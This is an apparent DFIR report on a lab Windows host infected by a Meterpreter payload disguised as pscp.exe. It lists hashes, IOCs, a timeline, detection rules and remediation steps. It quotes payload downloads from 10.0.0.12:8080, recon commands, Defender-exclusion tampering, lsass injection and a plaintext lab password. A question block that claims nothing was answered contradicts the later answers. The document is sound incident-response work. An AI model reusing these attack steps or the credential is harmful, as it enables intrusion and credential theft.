2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\ PSCP.EXE-1DCA12FC.pf

Q8. What are the hashes of the malicious executable(s), for submission to VirusTotal by the analyst?

Confidence	confirmed
Independent sources	artifact:$mft artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx

C:\Payloads\pscp.exe, hashes taken from Sysmon EID 1 (RecordID of the 11:03:09 event):
- MD5 DED9E58DD95A88A4BEE89B74A65F05F1
- SHA256 ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931
- IMPHASH ADD361A4F3939AF38D11873F1D74BDED

No Amcache SHA1 exists for this file. There are no recorded hashes for C:\Payloads\test.exe, C:\Users\medmondson\1.exe or the Recycle Bin copy $RHOVDEL.exe: none of them ran under Sysmon and none has an Amcache entry. All three are 986,624 bytes, the same size as pscp.exe. To submit them, hash them from the image or collect the files (they are still allocated).

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\ PSCP.EXE-1DCA12FC.pf
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/ mft.csv#119927	C:\$MFT
2023-11-10 10:21:41.003421	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Payloads\test.exe size=986624	mftecmd_mft/ mft.csv#109630	C:\$MFT

What is the malicious executable?
(question not addressed by the analysis)

What process did the malicious executable migrate to?
(question not addressed by the analysis)

Were any situational awareness commands run? If so, what were they?
(question not addressed by the analysis)

Which IP and port is the malicious executable communicating with?
(question not addressed by the analysis)

Are there any other weird processes that can be associated with the malicious executable? If so, did they run?
(question not addressed by the analysis)

Give the chain of processes used by the malicious executable (mal.exe -> migrated.exe -> other exes), using ProcessGuid and ParentProcessGuid.
(question not addressed by the analysis)

What executable was the malicious executable masquerading as?
(question not addressed by the analysis)

What are the hashes of the malicious executable(s), for submission to VirusTotal by the analyst?
(question not addressed by the analysis)

8. Recommendations

Immediate actions (containment)

- Isolate DESKTOP-KJ81A5A from the network (EDR/VLAN quarantine) while keeping it powered on so a memory image can be captured first (winpmem). The injected explorer.exe PID 7324 and the lsass artefacts exist only in RAM.
- Block 10.0.0.12 (in particular TCP 8080 and all ports) at the perimeter and on internal firewalls, then look for any other host that talked to it.
- Reset the medmondson password (exposed in cleartext in Desktop\not_my_pass.txt and potentially dumped from lsass) and the local Administrator password, and invalidate any reuse of password123!@# elsewhere.
- Collect C:\Payloads\pscp.exe, C:\Payloads\test.exe, C:\Users\medmondson\1.exe and C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe and hash them (SHA256/SHA1) for VirusTotal submission.

Eradication and recovery

- Delete the payload copies and the C:\Payloads directory once they are preserved as evidence.
- Remove the Defender exclusion HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Payloads\, turn Real-Time Protection, cloud-delivered protection, automatic sample submission and Tamper Protection back on, and run a full offline scan.
- Given the administrator-level compromise and the lsass access, reimage the host instead of cleaning it in place; restore user data only after scanning it.

Hardening

- Enforce Tamper Protection through Intune/MDE and stop local administrators from adding Defender exclusions or disabling RTP (via GPO, plus AllowUserUIAccess=0 and the 'Disable Local Admin Merge' policy).
- Remove day-to-day local admin rights from users and set UAC to require credentials instead of consent.
- Turn on LSA Protection (RunAsPPL) and Credential Guard to block access to lsass.
- Apply application control (WDAC/AppLocker) that blocks execution from user-writable paths such as Downloads, C:\Payloads and %USERPROFILE%, plus SmartScreen enforcement for files carrying MOTW.
- Expand the Sysmon configuration so EID 3 network connections are logged for every process (or at least explorer.exe and unsigned binaries), and keep EID 8/10 for lsass.

Detection and monitoring

- Alert when Sysmon EID 1 shows explorer.exe whose parent is anything other than userinit.exe/winlogon.exe (sacrificial process spawned by an implant).
- Alert on Sysmon EID 8 CreateRemoteThread whose target is explorer.exe or lsass.exe and whose source is an unsigned or user-path binary, or explorer.exe itself.
- Alert on PowerShell 400/600/4103 with HostName=MSFConsole or a HostApplication other than powershell.exe/pwsh.exe (Meterpreter powershell extension), and on 4104 containing Invoke-DcSync.

- Alert on cmd.exe whose parent is explorer.exe and which runs a burst of recon LOLBins (tracert, quser, tasklist, netstat -ntb, whoami, net user) within a few minutes.
- Alert on Defender 5001 (RTP disabled) and 5007 with a new Exclusions\Paths value, and on 1116 Meterpreter detections followed by the same file being written again.
- Hunt for the IOCs: SHA256 ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH ADD361A4F3939AF38D11873F1D74BDED, OriginalFileName=PSCP from an unexpected path, and URL http://10.0.0.12:8080/*.

Further investigation

- Analyse the memory image (Volatility malfind/netscan) to find the real Meterpreter C2 socket and port, the injected regions in explorer.exe 7324 and in lsass, and any loaded kiwi/mimikatz modules.
- Pull firewall, NetFlow and proxy logs for 10.0.0.12 around 2023-11-10 10:15–11:45 UTC to confirm the session port and the volume transferred, and identify the other hosts that contacted it.
- Hash test.exe, 1.exe and $RHOVDEL.exe and compare them with pscp.exe, then submit to VirusTotal and extract the payload configuration (LHOST/LPORT) with a Meterpreter config parser.
- If the host is domain-joined anywhere in the real environment, check DC logs for DCSync (4662 with replication GUIDs), since the Invoke-DcSync bootstrap was loaded, and look for any use of the medmondson or Administrator credentials on other machines.
- Determine with the lab owner which Defender tampering steps (exclusion, RTP disable via the UI) were scenario staging and which were attacker actions.

Appendix A: Summary of the analysis steps

Step 1: System context and scope

Host DESKTOP-KJ81A5A (formerly OOBE name WIN-ELL0II3NDSJ), Windows 10 Pro build 18362, installed 2023-11-09 11:02:48 UTC, TZ Pacific (bias 480). Single active admin user medmondson (SID ...-1001). VMware VM with Intel 82574L NIC, one network profile; Samsung T7 USB SSD (E:) attached 10:45:39–11:40:19 UTC. Sysmon 15.1 installed 10:51:10 UTC (telemetry start), Defender exclusion C:\Payloads\ at 10:52:49 (to pivot later). KAPE/gkape collection 11:21–12:31 UTC from Desktop\Tools (excluded). Findings F-001 (system description) and F-002 (scope limits) recorded.

Not verified: No raw.native_wifi / native_panther tables available; Dissect job partial, SIDR warning; no Sysmon telemetry before 10:51:11 UTC; 4688 auditing not yet verified.

Step 2: Triage of automatic detections

Triaged all critical/high/medium detections (Hayabusa, Chainsaw, Zircolite) and verified source events in raw.evtx. True positives: (F-003) Defender 1116/1117 Trojan:Win64/Meterpreter.E on Downloads\pscp.exe from http://10.0.0.12:8080/pscp.exe at 10:16:43, 10:17:53, 10:19:36 UTC; (F-004) Defender tampering: SpyNet/sample submission off, TamperProtection toggled, exclusion C:\Payloads\ at 10:19:24, RTP disabled 10:19:46 and 11:02:12 (5001, Sysmon 13 DisableRealtimeMonitoring); (F-005) C:\Payloads\pscp.exe executed 11:03:09 (Sysmon 1 PID 2196 GUID {e6e9f951-0ded-654e-8f01-000000000500}, SHA256 ABBF7B5F...C6CF931, MD5 DED9E58D...5F1, PuTTY PSCP 0.79 version info = masquerade; Prefetch run 1) spawning explorer.exe PID 7324 {e6e9f951-0ded-654e-9001-000000000500} with CreateRemoteThread (migration), then explorer→lsass remote thread 11:03:56; (F-006) post-exploitation from explorer 7324: cmd 6600 → tracert x3, quser; MSFConsole PowerShell host in explorer.exe (Invoke-DcSync bootstrap) at 11:06:40; cmd 5848 → powershell 736 → wget http://10.0.0.12:8080/1.exe (Sysmon 3 to 10.0.0.12:8080) and tasklist. Related files C:\Payloads\test.exe and C:\Users\medmondson\1.exe (same size 986,624 B) show no execution evidence. IOCs I-001..I-006 and timeline T-001..T-007 recorded. FPs documented in note.

Not verified: No Sysmon EID 3 for pscp.exe or explorer 7324: the Meterpreter C2 port is not yet established (pivot SRUM network usage, Sysmon 22, firewall/WFP logs in later steps). Hashes of test.exe/1.exe unavailable (no Amcache entries, no Sysmon 1); pscp.exe absent from Amcache. Purpose of the lsass remote thread is inferred. No offline hash set loaded (hash_hits empty).

Step 3: Program execution

I checked program execution in Prefetch (231 files), Amcache files and programs, ShimCache, BAM, UserAssist, MUICache, PCA, SRUM (app timeline, resource use, network usage), Sysmon EID 1/3/8, PowerShell 4103/4104/800 and the PSReadLine history.

Malicious executable
- C:\Payloads\pscp.exe ran at 2023-11-10 11:03:09 UTC. Its parent was medmondson's elevated PowerShell (PID 1088, GUID {e6e9f951-0de1-654e-8801-000000000500}), which the user's own explorer shell (GUID ...0907-654e-5c00...) had started at 11:02:57.
- Four independent sources show the run: Sysmon 1, Prefetch (PSCP.EXE-1DCA12FC, run count 1), SRUM (about 120 s duration, ending 11:17) and PowerShell 4104 plus PSReadLine (`.\pscp.exe`).
- ShimCache and $MFT show the file is present; its Zone.Identifier (ZoneId=3) points to http://10.0.0.12:8080/pscp.exe.
- There is no Amcache or BAM entry for it.
- Hashes: MD5 DED9E58DD95A88A4BEE89B74A65F05F1, SHA256 ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH ADD361A4F3939AF38D11873F1D74BDED.
- It masquerades as PuTTY PSCP: version info reads "PuTTY suite", OriginalFileName "PSCP", "Release 0.79".

New discovery commands (F-007)
- These come from cmd 5848, a child of the injected explorer.exe PID 7324: `netstat -ntb` at 11:12:23, `whoami /user` at 11:13:25, and `net user administrator` (which ran net1) at 11:13:35.
- Sysmon 1 and Prefetch both record them, each with run count 1.

Payload copies with no sign of execution (F-009)
- C:\Payloads\test.exe was saved with `wget .../pscp.exe -o test.exe` at 10:21:41. C:\Users\medmondson\1.exe was downloaded at 11:10:55.
- Both are 986,624 bytes, the same size as pscp.exe. No artifact shows either one ran.

Recorded so far
- Findings F-007, F-008 (execution origin and corroboration, critical/confirmed) and F-009.
- Timeline events T-008 to T-010 and IOCs I-007 to I-010.
- Answers to Q1, Q2, Q3, Q5, Q6, Q7 and Q8. Q6 gives the full ProcessGuid chain.
- A note listing the lab and analyst noise that was excluded.

*Not verified: - **Q4 (C2 IP and port) is still unanswered.** Sysmon EID 3 did not log the pscp.exe or explorer 7324 Meterpreter session; only powershell 736 to 10.0.0.12 (port not yet pulled from the payload) is recorded. The port has to come from the network step: Sysmon 3 DestinationPort, the netstat output context, SRUM, and Security 5156 if it exists.*
*- **No hashes for test.exe and 1.exe.** Neither has an Amcache or Sysmon 1 record, so they need to be hashed from disk to confirm they are the same file as pscp.exe.*
*- **Defender history not re-checked.** Defender 1116/1117 events on test.exe were not reviewed in this step.*
*- **Sysmon coverage gap.** Sysmon only covers activity from 10:51 onward, so anything executed before that relies on Prefetch, SRUM and PSReadLine.*

Step 4: Persistence

I checked all the persistence locations listed for this step and found no attacker persistence (F-010, info/probable).

What was checked
- **Services:** System 7045 and Security 4697 events, raw.reg_services and the Sysmon 13 ImagePath writes. All are lab

setup or vendor installs: VMware, Mozilla, Sysmon, WPD, Defender.
- **Scheduled tasks:** 4698/4702 and TaskScheduler 106 events, raw.reg_taskcache and Sysmon 11 writes under System32\Tasks. The tasks belong to Firefox, Defender, OneDrive and EdgeUpdate, and svchost created all of them.
- **Run/RunOnce keys:** these come from a legitimate OneDrive self-update at 11:13:46. Its process chain is OneDrive.exe → OneDriveSetup.exe → EdgeUpdate, which is not the injected explorer.exe 7324 chain.
- **Other registry autostarts:** no Winlogon, IFEO or SilentProcessExit values were found. AppInit_DLLs is empty.
- **COM:** the 31 HKCU CLSID entries are OneDrive/EdgeUpdate registrations.
- **Active Setup, print monitors/processors, BootExecute/SetupExecute:** all stock values.
- **WMI:** the only 5861 event is the default SCM Event Log Filter.
- **Startup folders and hosts:** the Startup folders hold only desktop.ini, and the hosts file is unchanged since 2019.
- **Attacker processes:** pscp.exe, explorer 7324 and cmd 5848 made no Sysmon registry or WMI changes. Their only file writes were 1.exe, a PSScriptPolicyTest file and a CLR usage log.

Conclusion
The Meterpreter session appears to have run in memory only, with no reboot persistence.

*Not verified: - **Missing tables:** raw.native_startup, raw.native_hosts, raw.dissect_cim_consumerbindings and raw.dissect_msoffice_startup are not in the database. Startup folders and the hosts file were therefore checked through $MFT only, and WMI through the 5861 events only.*
*- **Sysmon coverage:** registry and file telemetry exists only from 10:51:11 UTC, so persistence created before then could only be checked in the registry and file-system state at collection time.*
*- **Partial Dissect job:** the Dissect job only partly completed.*
*- **Not reviewed:** PendingFileRenameOperations was not found in the RECmd outputs.*

Step 5: Accounts, authentication and privileges

I reviewed Security events 4624, 4625, 4634, 4647, 4648, 4672, the 47xx account-management events, and 4798/4799/4703. I also checked TerminalServices-LSM events 21–25 (there are no 1149 or 1024 events) and the SAM via recmd UserAccounts.

Logons
- Every logon is local: type 2 interactive, or type 0/5 for SYSTEM and services.
- There are no type 3 or type 10 logons, no failed logons, no Kerberos or NTLM events, and no RDP.
- The 4648 events are all OS logon-process behaviour to localhost.

Accounts
- The only account changes are from OOBE on 2023-11-09:
  - defaultuser0 and medmondson were created.
  - medmondson was added to Administrators at 11:08:58.
  - The OOBE events show an 18:58–19:00 clock offset, which is an artefact of setup.
- SAM matches this: the built-in accounts are disabled and medmondson is the only enabled admin, with 7 logons and the last one at 2023-11-10 10:42:23 (F-011).

Attacker context (F-012)
- The Meterpreter chain ran as medmondson at High integrity under elevated LogonId 0x15347 (4624 at 10:42:10). That token came from UAC consent.exe at 11:02:56, followed by powershell 1088.
- No process in the chain ran as SYSTEM, so there is no getsystem evidence.
- Security 4798 at 11:13:35, with net1.exe PID 0x480 as caller and SubjectLogonId 0x15347, shows the local Administrator (RID 500) being enumerated. This corroborates F-007 and was added to it as evidence.
- The Administrator account was not enabled or modified afterwards.

Timeline events T-011 and T-012 and a user IOC were recorded.

Not verified: I can't tell if lsass was actually dumped from the 11:03:56 remote thread. There's no credential-use evidence, and no logons happened after 10:42:23. There's no AD/DC telemetry for the Invoke-DcSync attempt: the host is in a workgroup, so no 4662 events exist.

Step 6: Remote access and lateral movement

I reviewed remote access and lateral movement. Nothing shows the host was controlled remotely by anything other than the Meterpreter session, or used as a pivot (F-013).

Checked, all negative:
- **RDP:** fDenyTSConnections=1; LSM shows only local sessions; there are no 1149, 4778/4779 or type 10 events; no mstsc MRU, .rdp files or bitmap cache.
- **PsExec:** no PSEXESVC service and no 5140/5145. PsExec binaries exist only in the analyst toolset and have no Prefetch entry.
- **WinRM:** no 6/91/168 events, no wsmprovhost and no ServerRemoteHost 400. The 142/145 events are benign listener enumeration.
- **Remote-access tools:** none installed. Their names appear only in KAPE targets and maps.
- **Shares:** no UNC ShellBags and no mapped drives.

Network:
- The only Sysmon EID 3 in the attack chain is powershell 736 → 10.0.0.12:8080/tcp at 11:10:55 UTC (RecordID 336).
- SRUM shows explorer.exe sending more outbound bytes (69 KB) in the interval ending 11:43, which fits C2 traffic.

Recorded: Q4 answered (10.0.0.12:8080, probable); IOC I-012 added; note on false positives.

Not verified: Sysmon did not log the Meterpreter reverse socket of pscp.exe or explorer 7324, so the C2 port is inferred from the staging connection. The output of netstat -ntb was not collected, and there is no packet capture or firewall connection log (no 5156 events).

Step 7: User activity on files and folders

I reviewed these sources: LNK (24), Jump Lists (auto/custom), ShellBags (44), RecentDocs, OpenSavePidlMRU, LastVisitedPidlMRU, Windows Timeline, the SIDR file index, $MFT, $UsnJrnl, the Recycle Bin and the USB context.

F-014 (medium, confirmed): payload file lifecycle
- Edge downloaded pscp.exe from 10.0.0.12:8080 to Downloads four times.
- Defender deleted the first and third copies (USN FileDelete at 10:16:44 and 10:19:36). The download at 10:19:53 (MFT entry 85774) survived.
- At 10:20:10 it was copied to C:\Payloads\pscp.exe (MFT 85781, Zone.Identifier kept).
- At 10:20:20 the Downloads original went to the Recycle Bin as $RHOVDEL.exe and $IHOVDEL.exe. It is still allocated, so it can be recovered and hashed (IOC I-013).
- ShellBags, Payloads.lnk and the Explorer Jump List also show the C:\Payloads browsing.
- Timeline event T-013 added.

F-015 (medium, probable): plaintext credential file
- At 11:13:56 the user's Notepad (PID 932, GUID {e6e9f951-0f03-654e-aa01-000000000500}) saved Desktop\not_my_pass.txt. Its parent was the legitimate explorer 2432 (LogonId 0x153A9), not the injected explorer 7324.
- The SIDR index holds the content: 'user: medmondson pass: password123!@#'.
- Corroborating sources: Sysmon 1, 4798, $MFT, USN, OpenSave/LastVisited MRU, RecentDocs, LNK, Jump Lists and Windows Timeline.
- $SI LastAccess is 11:15:54, but I cannot attribute it to the attacker.
- IOC I-014 and timeline event T-014 added.

Not attack-related
- No attacker file activity outside what was already known (1.exe, test.exe, PSScriptPolicyTest).
- USB, tools and transcript activity is lab or analyst work and was put in a note.

Not verified: - I could not attribute any file read to the attacker: there is no Sysmon file-read event, no 4663 auditing, and the $LogFile only covers 12:08 onward.
- The PowerShell transcript contents in C:\Transcript (4_WbZ_YN, _h_Jx2Ns) are not in the database.
- I could not hash $RHOVDEL.exe because Amcache has no entry and I have no file access.
- The NTFS last-access timestamp is unreliable.
- SIDR is a dirty database, so some index content may be missing.

Step 8: Web browsing, downloads and e-mail

Reviewed Dissect browser history and downloads (WebCache/Edge legacy, Firefox), IE WebCache history and downloads, Firefox history, downloads and form history, TypedURLs, $MFT Zone.Identifier ADS, Sysmon EID 22/15 and every non-Defender event that mentions 10.0.0.12.

Finding F-016 (high, confirmed): where pscp.exe came from
- At 10:16:36 UTC, user medmondson browsed the attacker's web server in Edge: http://10.0.0.12/ and http://10.0.0.12:8080/.
- WebCache shows http://10.0.0.12:8080/pscp.exe visited repeatedly (visit count 4 and 8), last at 10:19:49.
- At 10:19:53 the browser recorded a download from that URL to Downloads\pscp.exe.
- The Zone.Identifier streams on $RHOVDEL.exe and C:\Payloads\pscp.exe both read ZoneId=3, HostUrl http://10.0.0.12:8080/pscp.exe, ReferrerUrl http://10.0.0.12:8080/.
- Defender's three detections line up with these download attempts.

Downloads without a Zone.Identifier
- test.exe and 1.exe have no mark-of-the-web. Both were fetched with PowerShell Invoke-WebRequest (4104/4103 events and Sysmon 3 to 10.0.0.12:8080).

Recorded
- Timeline event T-015.
- IOC I-015: http://10.0.0.12:8080/.
- A note covering the other web activity. It is all lab setup: Sysmon, the SwiftOnSecurity config, Firefox, KAPE, winpmem, PowerShell logging and .NET 4.5.2. Firefox form history also holds the analyst's personal details from the KAPE download form.

Negative results
- No DNS queries for the C2 (it was contacted by IP only).
- No searches showing attacker intent.

Not verified: No e-mail client data (Outlook, PST/OST) and no Chromium/Chrome profile tables are in the collection, so e-mail delivery cannot be formally ruled out. Edge legacy history comes only from WebCache, parsed by Dissect, whose job finished with status 'partial'. Download records give only an end timestamp. The three earlier pscp.exe downloads that Defender caught show up only as cumulative visit counts, not as separate download records.

Step 9: Defense evasion and anti-forensics

Defense evasion and anti-forensics review.

Log integrity
- No Security 1102 or System 104 (Eventlog) events.
- The 1100 events are pre-attack reboots.
- RecordIDs are contiguous in Security, System, Sysmon, PowerShell and Defender.

Time changes
- 4616 and Kernel-General 1 appear only during OOBE on 2023-11-09.

Defender
- The 5007/5001 chain was already covered in F-004.
- Added the registry state at collection to F-004 as corroboration: DisableRealtimeMonitoring=1, Exclusions\Paths\C:\Payloads\, SpyNet off.
- F-017 records the persisted state and how the RTP disable at 11:02:11 was done: through the Windows Security UI (consent.exe → SecurityHealthHost → MsMpEng, Sysmon 13), 57 s before pscp.exe ran.
- Added T-016 and IOC I-016.

Timestomping
- None on the attack files (pscp.exe, test.exe, 1.exe, $RHOVDEL.exe, not_my_pass.txt).
- The files flagged SI<FN are installers.

Deletions and wiping
- No mass deletion, wiping tool, or Prefetch or EVTX deletion.
- The Recycle Bin items are the payload original and lab setup files.

PowerShell logging
- Not disabled. The transcripts of the attack sessions are still on disk, and 4104 events are present.
- Recorded as F-018 (info/probable, negative finding) plus a note on what was ruled out.

Not verified: In-memory anti-forensics (e.g. Meterpreter clearev/timestomp attempts that failed, or AMSI/ETW patching) cannot be seen without a memory image. Sysmon registry coverage is limited by the SwiftOnSecurity config. Sysmon has no telemetry before 10:51:11. The PowerShell transcript content was not parsed (file contents not in the DB); only the $MFT metadata was verified.

Step 10: Collection, exfiltration and communications

I found no collection, staging, compression or bulk exfiltration that can be attributed to the attacker (F-019, medium/probable).

Archives
- $UsnJrnl and $MFT show these archives created on 2023-11-10:
  - Sysmon[1].zip in the Edge cache.
  - MSEDGE.7z from an Edge update.
  - An Appraiser .cab.
  - The analyst's own tool archives under Desktop\Tools.
- None was created by an attacker process.

Network connections (Sysmon EID 3)
- The only connection tied to the attack is powershell 736 (GUID {e6e9f951-0f56-654e-af01-000000000500}) from 10.0.0.124:50009 to 10.0.0.12:8080/tcp at 11:10:55 UTC, which downloaded 1.exe.
- Every other connection belongs to OneDrive, EdgeUpdate, SharePoint or the KAPE tooling.
- The Sysmon config does not log network events for pscp.exe or explorer.exe 7324, so the port of the Meterpreter session itself is not recorded.

SRUM
- explorer.exe sent 69 KB in the interval ending 11:43, against 3 KB earlier. That fits low-volume C2 traffic, not bulk exfiltration.
- There are no SRUM records for pscp.exe, 1.exe or test.exe.

Other channels checked
- BITS events 3/59/60: Microsoft jobs only, with no uploads.
- Firewall rules 2004–2006 during the attack window: Firefox only.

- OneDrive: self-update only.
- DNS: no external C2 or cloud-storage queries.

Network IOCs
- No new ones. 10.0.0.12 and http://10.0.0.12:8080/ (including /pscp.exe and /1.exe) were already recorded.

*Not verified: - **Sysmon:** telemetry starts at 10:51, and the SwiftOnSecurity config does not log network events for explorer.exe or pscp.exe. The Meterpreter session socket (destination port) is therefore not observed directly; 8080 is confirmed only for HTTP staging.*
*- **Windows Filtering Platform:** WFP 5156 auditing is not enabled.*
*- **SRUM:** it has no destination IPs and its last interval ends at 11:43.*
*- **Not parsed:** the OneDrive ODL logs and SyncEngineDatabase; there is no 7-Zip history table.*
*- **No memory or PCAP:** the content of data read through the Meterpreter session (for example not_my_pass.txt) cannot be determined.*

Step 11: Incident timeline and correlation

Incident timeline assembled (T-001..T-020).
Context: Sysmon installed 10:51:10 (telemetry start).
Initial access / delivery: Edge browsing http://10.0.0.12:8080/ 10:16:36; Defender Meterpreter.E detections 10:16:43–10:19:36; Defender exclusion C:\Payloads\ 10:19:24 and RTP off 10:19:46; download survives 10:19:53, copied to C:\Payloads\pscp.exe 10:20:10, original to Recycle Bin 10:20:20; test.exe wget 10:21:41.
Execution: user logon 10:42:10; RTP off again 11:02:11; elevated PowerShell 1088 11:02:57; pscp.exe PID 2196 {…0ded-654e-8f01…} 11:03:09 (Sysmon 1 + Prefetch agree to ms).
Defense evasion/migration: explorer.exe 7324 {…0ded-654e-9001…} spawned and injected (Sysmon 8) 11:03:09; explorer→lsass remote thread 11:03:56.
Discovery: tracert x3/quser 11:04–11:05, MSFConsole PS host 11:06:40, 1.exe download 11:10:55 (10.0.0.12:8080), tasklist 11:11:23, netstat 11:12:23, whoami 11:13:25, net user administrator + 4798 11:13:35 — all corroborated by Prefetch/SRUM (T-020).
Credential exposure: not_my_pass.txt 11:13:56. Last attacker event: explorer 7324 CLR UsageLog write 11:16:03; pscp SRUM interval ending 11:17. Times are consistent across Sysmon, Prefetch, WebCache, Defender and USN. The only clock anomaly is the pre-attack OOBE offset; dates of 2026-10-19 are copy artefacts. New IOCs I-017..I-020: process GUID chain, Prefetch file, MSFConsole PS HostId, CLR usage log.

Not verified: No Sysmon 5 termination events and no Sysmon 3 for pscp.exe/explorer 7324 (config), so session end time and Meterpreter C2 port are inferred (10.0.0.12:8080 from powershell 736 only). No Sysmon coverage before 10:51:10 for the download phase. SHA1 of pscp.exe unavailable (no Amcache entry); test.exe/1.exe/$RHOVDEL.exe hashes not in the collection.

Step 12: Summary, answers and recommendations

Answered all eight guidance questions with references, and recorded the summary (verdict, executive summary, technical summary, limitations) and the recommendations.

Answers:
- **Q1:** C:\Payloads\pscp.exe. Sources: Sysmon 1 (PID 2196) plus Prefetch, and the Defender Meterpreter.E detections.
- **Q2:** explorer.exe PID 7324, GUID {…9001…}. It was injected with CreateRemoteThread and then opened a remote thread in lsass.
- **Q3:** tracert ×3, quser, tasklist, netstat -ntb, whoami /user, net user administrator → net1, plus the MSFConsole PowerShell host. Sysmon and Prefetch agree for each one.
- **Q4:** 10.0.0.12 on TCP 8080 (probable). The session socket itself was not logged.
- **Q5:** test.exe and 1.exe were downloaded, but neither shows any execution.
- **Q6:** full process chain with GUIDs.
- **Q7:** PuTTY PSCP 0.79.
- **Q8:** MD5, SHA256 and IMPHASH of pscp.exe.

Not verified: The Meterpreter C2 port is not recorded, because the Sysmon configuration did not log network connections for pscp.exe or explorer.exe. test.exe, 1.exe and $RHOVDEL.exe have no hashes. No memory or network captures were available, so the activity in lsass could not be verified.

Appendix B: Automatic detections

Engine	Level	Count
Chainsaw	informational	52
Chainsaw	medium	32
Chainsaw	high	20
Chainsaw	critical	9
Hayabusa	medium	3926
Hayabusa	informational	1976
Hayabusa	low	537
Hayabusa	high	17
Hayabusa	critical	12
Zircolite	low	342
Zircolite	informational	38
Zircolite	medium	37
Zircolite	high	20

Critical and high detections (to compare with the findings; a detection is not a finding until it has been qualified):

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
2023-11-09 11:04:09.913000	Hayabusa	high	Suspicious Service Path	DESKTOP-KJ81A5A	Sys	7045	178	hayabusa/ hayabusa_0.jsonl#6418
2023-11-09 11:08:58.563000	Hayabusa	high	User Added To Local Admin Grp	DESKTOP-KJ81A5A	Sec	4732	552	hayabusa/ hayabusa_0.jsonl#5911
2023-11-09 19:00:23.902000	Hayabusa	high	User Added To Local Admin Grp	DESKTOP-KJ81A5A	Sec	4732	200	hayabusa/ hayabusa_0.jsonl#5910
2023-11-10 10:14:31.797000	Hayabusa	high	Suspicious Service Path	DESKTOP-KJ81A5A	Sys	7045	287	hayabusa/ hayabusa_0.jsonl#6419
2023-11-10 10:16:43.841000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	15	hayabusa/ hayabusa_0.jsonl#5891
2023-11-10 10:16:43.841000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	15	hayabusa/ hayabusa_0.jsonl#5897
2023-11-10 10:16:43.841943	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	15	chainsaw/ chainsaw_0.jsonl#49
2023-11-10 10:16:43.841943	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	15	chainsaw/ chainsaw_0.jsonl#50
2023-11-10 10:16:43.841943	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	15	zircolite/ zircolite_timeline_0.jsonl#192
2023-11-10 10:16:44.708000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	16	hayabusa/ hayabusa_0.jsonl#5892
2023-11-10 10:16:44.708000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	16	hayabusa/ hayabusa_0.jsonl#5898
2023-11-10 10:16:44.708098	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	16	chainsaw/ chainsaw_0.jsonl#51
2023-11-10 10:16:44.708098	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	16	chainsaw/ chainsaw_0.jsonl#52
2023-11-10 10:16:44.708098	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	16	zircolite/ zircolite_timeline_0.jsonl#193
2023-11-10 10:16:52.220594	Chainsaw	critical	Windows Defender	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	17	chainsaw/ chainsaw_0.jsonl#53
2023-11-10 10:16:52.220594	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-	1117	17	chainsaw/ chainsaw_0.jsonl#54

UTC	Engine	Level	Rule	Host	Channel	EventID	RecordID	Reference
					Windows Defender/Operational			
2023-11-10 10:16:52.220594	Zircolite	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1117	17	zircolite/zircolite_timeline_0.jsonl#194
2023-11-10 10:17:53.989000	Hayabusa	critical	Defender Alert (Severe)	DESKTOP-KJ81A5A	Defender	1116	22	hayabusa/hayabusa_0.jsonl#5893
2023-11-10 10:17:53.989000	Hayabusa	critical	Antivirus - Exploitation Framework Signature	DESKTOP-KJ81A5A	Defender	1116	22	hayabusa/hayabusa_0.jsonl#5899
2023-11-10 10:17:53.989027	Chainsaw	high	Windows Defender Threat Detected	DESKTOP-KJ81A5A	Microsoft-Windows-Windows Defender/Operational	1116	22	chainsaw/chainsaw_0.jsonl#56
